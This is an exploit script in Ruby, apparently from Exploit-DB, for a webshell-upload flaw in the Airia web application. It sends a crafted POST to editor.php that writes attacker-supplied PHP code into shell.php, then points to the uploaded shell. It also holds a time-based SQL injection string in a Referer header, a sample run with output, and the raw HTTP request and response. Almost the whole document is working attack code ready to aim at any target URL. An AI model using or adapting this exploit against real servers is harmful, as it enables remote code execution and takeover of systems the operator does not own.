/exploits/php/webapps/39982.rb
Ruby | 69 lines | 27 code | 7 blank | 35 comment | 1 complexity | 833f71edc8d6cde8dd44650c879e64e4 MD5 | raw file
Possible License(s): GPL-2.0
- # Exploit Title: Airia - Webshell Upload Vulnerability
- # Date: 2016-06-20
- # Exploit Author: HaHwul
- # Exploit Author Blog: www.hahwul.com
- # Vendor Homepage: http://ytyng.com
- # Software Link: https://github.com/ytyng/airia/archive/master.zip
- # Version: Latest commit
- # Tested on: Debian [wheezy]
-
- require "net/http"
- require "uri"
-
- if ARGV.length !=2
- puts "Airia Webshell Upload Exploit(Vulnerability)"
- puts "Usage: #>ruby airia_ws_exploit.rb [targetURL] [phpCode]"
- puts " targetURL(ex): http://127.0.0.1/vul_test/airia"
- puts " phpCode(ex): echo 'zzzzz'"
- puts " Example : ~~.rb http://127.0.0.1/vul_test/airia 'echo zzzz'"
- puts " exploit & code by hahwul[www.hahwul.com]"
-
- else
-
- target_url = ARGV[0] # http://127.0.0.1/jmx2-Email-Tester/
- shell = ARGV[1] # PHP Code
- exp_url = target_url + "/editor.php"
- uri = URI.parse(exp_url)
- http = Net::HTTP.new(uri.host, uri.port)
-
- request = Net::HTTP::Post.new(uri.request_uri)
- request["Accept"] = "*/*"
- request["User-Agent"] = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)"
- request["Connection"] = "close"
- request["Referer"] = "http://127.0.0.1/vul_test/airia/editor.php?file=1&group=%281%20AND%20%28SELECT%20SLEEP%2830%29%29%29%20--%20"
- request["Accept-Language"] = "en"
- request["Content-Type"] = "application/x-www-form-urlencoded"
- request.set_form_data({"mode"=>"save",""=>"","file"=>"shell.php","scrollvalue"=>"","contents"=>"<?php echo 'Airia Webshell Exploit';#{shell};?>","group"=>"vvv_html"})
- response = http.request(request)
-
- puts "[Result] Status code: "+response.code
- puts "[Result] Open Browser: "+target_url+"/data/vvv_html/shell.php"
- end
-
- =begin
- ### Run Step.
-
- #> ruby 3.rb http://127.0.0.1/vul_test/airia "echo 123;"
- [Result] Status code: 302
- [Result] Open Browser: http://127.0.0.1/vul_test/airia/data/vvv_html/shell.php
-
- output: Airia Webshell Exploit123
-
- ### HTTP Request / Response
- [Request]
- POST /vul_test/airia/editor.php HTTP/1.1
- Host: 127.0.0.1
- Accept: */*
- Accept-Language: en
- User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
- Connection: close
- Referer: http://127.0.0.1/vul_test/airia/editor.php?file=1&group=%281%20AND%20%28SELECT%20SLEEP%2830%29%29%29%20--%20
- Content-Type: application/x-www-form-urlencoded
- Content-Length: 65
- Cookie: W2=dgf6v5tn2ea8uitvk98m2tfjl7; DBSR_session=01ltbc0gf3i35kkcf5f6o6hir1; __utma=96992031.1679083892.1466384142.1466384142.1466384142.1; __utmb=96992031.2.10.1466384142; __utmc=96992031; __utmz=96992031.1466384142.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none)
-
- mode=save&file=1.php&scrollvalue=&contents=<?php echo "Attack OK."?>&group=vvv_html
-
- [Response] Uloaded file
- http://127.0.0.1/vul_test/airia/data/vvv_html/1.html
- =end